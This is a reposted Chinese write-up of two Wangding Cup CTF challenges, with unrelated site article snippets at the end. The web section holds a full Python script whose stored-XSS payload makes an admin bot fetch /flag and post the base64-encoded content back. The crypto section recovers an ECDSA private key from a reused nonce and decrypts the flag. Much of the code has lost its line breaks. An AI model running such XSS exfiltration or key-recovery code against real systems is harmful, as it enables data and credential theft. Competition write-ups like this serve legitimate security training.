网鼎杯

news/2025/1/18 9:44:49/文章来源:https://www.cnblogs.com/1nnya/p/18516400

个人只做了一道web一道crypto

Web02

打开赛题环境地址,是登录界面,进去后获取hash值

用户名或密码随意

我们访问到的flag界面

**
**进去后这里有个输入框测试下可以进行xss

又根据/flag提示需要boss来访问这个路径,编写脚本构造payload进行访问,字符串编码下

import requests
import base64url = "http://0192d7154c807e048cc77bde229d02d5.o3ow.dg07.ciihw.cn:44505/"
sess = requests.session()def login():u = url + "login"data = {"username": "111", "password": "111"}r = sess.post(u, data).textparts = r.split("content_hash is ")if len(parts) > 1:hashcode = parts[1].split(" ")[0]return hashcodeelse:print("无法获取")return Nonedef send(u, content):data = {"content": content}sess.post(u, data)def submit(hashcode):data = {"content_hash": hashcode}sess.post(url + "submit", data)def attack(tar_url):hashcode = login()if hashcode is not None:content_url = url + "content/" + hashcodepayload = """<script>
function encodeBase64(str) {return btoa(unescape(encodeURIComponent(str)));
}var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {if (xmlhttp.readyState == 4) {if (xmlhttp.status == 200) {var data = xmlhttp.responseText;var formData = "content={{{ " + encodeBase64(data) + " }}}";var postRequest = new XMLHttpRequest();postRequest.open("POST", '/content/""" + hashcode + """', true);postRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');postRequest.send(formData);} else {console.error("请求失败,状态码:" + xmlhttp.status);}}
};
xmlhttp.open("GET", '""" + tar_url + """', true);
xmlhttp.send();
</script>"""send(content_url, payload)submit(hashcode)r = sess.get(content_url).textprint(base64.b64decode(r.split('{{{')[2].split('}}}')[0]).decode('utf-8'))else:print("错误")
attack("/flag")

Crypto02

求k再求私钥dA

from Crypto.Util.number import inverse
def calculate_private_key(r, s, z, k, n):
# 计算 dA
dA = (s * k - z) * inverse(r, n) % n
return dA
def solve_k(r1, s1, z1, r2, s2, z2, n):
if r1 != r2:
raise ValueError("r1 and r2 must be equal for this calculation.")
# 计算 k
k = (z1 - z2) * inverse(s1 - s2, n) % n
return k
# 示例参数
r1 = r2 = 86806104739558095745988469033305523200538774705708894815836887970976487278764
s1 = 93400851884262731807098055393482657423555590196362184363643455285862566867372
s2 = 58741027521216057788923508334695668250013849866589902683641825341545919891746
z1 = 47591695289461307212638536234394543297527537576682980326526736956079807805586
z2 = 97911075901954715147720917205165523174582665086645698292621371632896283314804
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
# 计算 k
k = solve_k(r1, s1, z1, r2, s2, z2, n)
print("Calculated k:", k)
dA = calculate_private_key(r1, s1, z1, k, n)
print("Calculated private key dA:", dA)
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii
from hashlib import sha256
from Crypto.Util.number import long_to_bytes
def victory_decrypt(ciphertext, key):
key = key.upper()
key_length = len(key)
decrypted_text = '' for i, char in enumerate(ciphertext):
if char.isalpha():
shift = ord(key[i % key_length]) - ord('A')
decrypted_char = chr((ord(char) - ord('A') - shift) % 26 + ord('A'))
decrypted_text += decrypted_char else:
decrypted_text += char return decrypted_text
k = 63798824842723164429892393608335531988404086411454158738633193887718671554477
dA = 113325324311290226461153848696856402570195717371047126863421346949577865198739 # 你
的 dA 值
victory_key = "WANGDINGCUP"
encrypted_flag_hex =
'86cd24e2914c0c4d9b87bea34005a98bd8587d14cae71909b917679d3328304e7915e6ba4cad1096faa4a85
bc52f8056d3f21ef09516be8a5160f1b338a6b936' # 提取 IV 和密文
encrypted_flag_bytes = binascii.unhexlify(encrypted_flag_hex)
iv = encrypted_flag_bytes[:16] # AES 块大小为 16 字节
encrypted_flag = encrypted_flag_bytes[16:]
# 计算 AES 密钥
key = sha256(long_to_bytes(dA)).digest()
# 解密
try:
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_encrypted_flag = unpad(cipher.decrypt(encrypted_flag), AES.block_size).decode('utf-8')
print("解密的 victory_encrypted_flag:", decrypted_encrypted_flag)
# 解密 flag
decrypted_flag = victory_decrypt(decrypted_encrypted_flag, victory_key)
print("解密出的 flag:", decrypted_flag)
except ValueError as e:
print("解密错误:", e)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/824283.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

BuildCTF

主要做web方向,misc和crypto有几题也看了一下 Web ez!httpez_md5这里的<font style="background-color:rgb(249, 242, 244);">$_REQUEST</font>变量获得GET或POST的参数,值的注意的是,如果通过不同的方式获得相同变量的不同值,**<font style=&quo…

10.30 模拟赛

复盘 T1。好像很好做。先想了一个 \(\mathcal O(n |c_{i,j}|^2)\) 但是带四倍常数的做法。感觉加上一些优化和卡常后问题不大。于是开写。 代码好长!!!调试好久!!! 调完后样例 6 跑 20s,最终优化后还是 7s。实在优化不了了于是考虑换做法。 发现枚举三条边后,剩下的用类…

20222412 2024-2025-1 《网络与系统攻防技术》实验三实验报告

20222412 2024-2025-1 《网络与系统攻防技术》实验三实验报告 1.实验内容 (1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧正确使用msf编码器,使用msfvenom生成如jar之类的其他文件 veil,加壳工具 使用C + shellcode编程(2)通过组合应用各种技术…

Feign失败重试与全局异常捕获

feign注册 spring加载的时候通过@EnableFeignClients的FeignClientsRegistrar注册扫描所以得FeignClient以及Configuration,最终注册为ReflectiveFeign,最终通过代理类FeignInvocationHandler实现方法的调用,在 FeignInvocationHandler中通过SynchronousMethodHandler方法执…

地下工程和深基坑监测预警系统建设方案

随着城市化进程的加快,地下工程和深基坑工程在城市建设中扮演着越来越重要的角色。这些工程的安全性直接关系到人民生命财产的安全和城市的正常运行。因此,建立一个科学、有效的地下工程和深基坑监测预警系统至关重要。 一、系统建设的必要性地下工程和深基坑工程在施工过程中…

25. 深浅拷贝

一、什么是浅拷贝只对对象的最顶层进行的拷贝称为 浅拷贝。我们可以用 copy 模块中的 copy() 方法实现浅拷贝。import copya = [11, 22, 33] b = [44, 55, 66] c = [a, b] d = copy.copy(c)print(f"c: {c}") print(f"d: {d}") print(f"c == d: {c == …

为什么我越来越喜欢用DDD — DDD架构篇(1)

Hello DDDDDD 是一种软件设计方法,DDD 是指导我们做软件工程设计的一种手段。它提供了用切割工程模型的各类技巧,如;领域、界限上下文、实体、值对象、聚合、工厂、仓储等。通过 DDD 的指导思想,我们可以在前期投入更多的时间,更加合理的规划出可持续迭代的工程设计。 在D…

SpringBoot3.0整合Mybatis-plus实现多数据源(重构类方式)

背景 前段时间在做一个数据中台的项目,系统用到了不同数据库中的数据。自己又不想手写JDBC连接,既然我有这个需求,那功能应该有人实现了,于是开始了网上搜了,搜索后发现基本都是讲读写分离、主备切换的,后面也查略了Mybatis-plus的官网,里面有这个功能,但好像是我组件的…

58. 区间和

题目 本人一开始是这样写的: #include <iostream>using namespace std;const int N = 100010; int n; int s[N];int main() {cin >> n;for (int i = 1; i <= n; i ++ ){int x;cin >> x;s[i] = s[i - 1] + x;}int l = 0, r = 0;while (cin >> l &am…

cin和scanf的返回值知多少

cin的返回值 在 C++ 中,cin 是用于从标准输入(通常是键盘)读取数据的对象。 cin 的返回值实际上是一个流对象(std::istream 类型),可以通过流的状态来检查输入操作是否成功。 以下是一些关于 cin 返回值的关键点:输入成功与失败: 当你使用 cin 进行输入时,可以通过 ci…

多语言 AI 翻译 API 数据接口

多语言 AI 翻译 API 数据接口 ai / 翻译 基于 AI 多语言模型 支持多语言 / 基于模型。1. 产品功能基于自有专业模型进行 AI 多语言翻译 高效的文本翻译性能 全接口支持 HTTPS(TLS v1.0 / v1.1 / v1.2 / v1.3); 全面兼容 Apple ATS; 全国多节点 CDN 部署; 接口极速响应,多…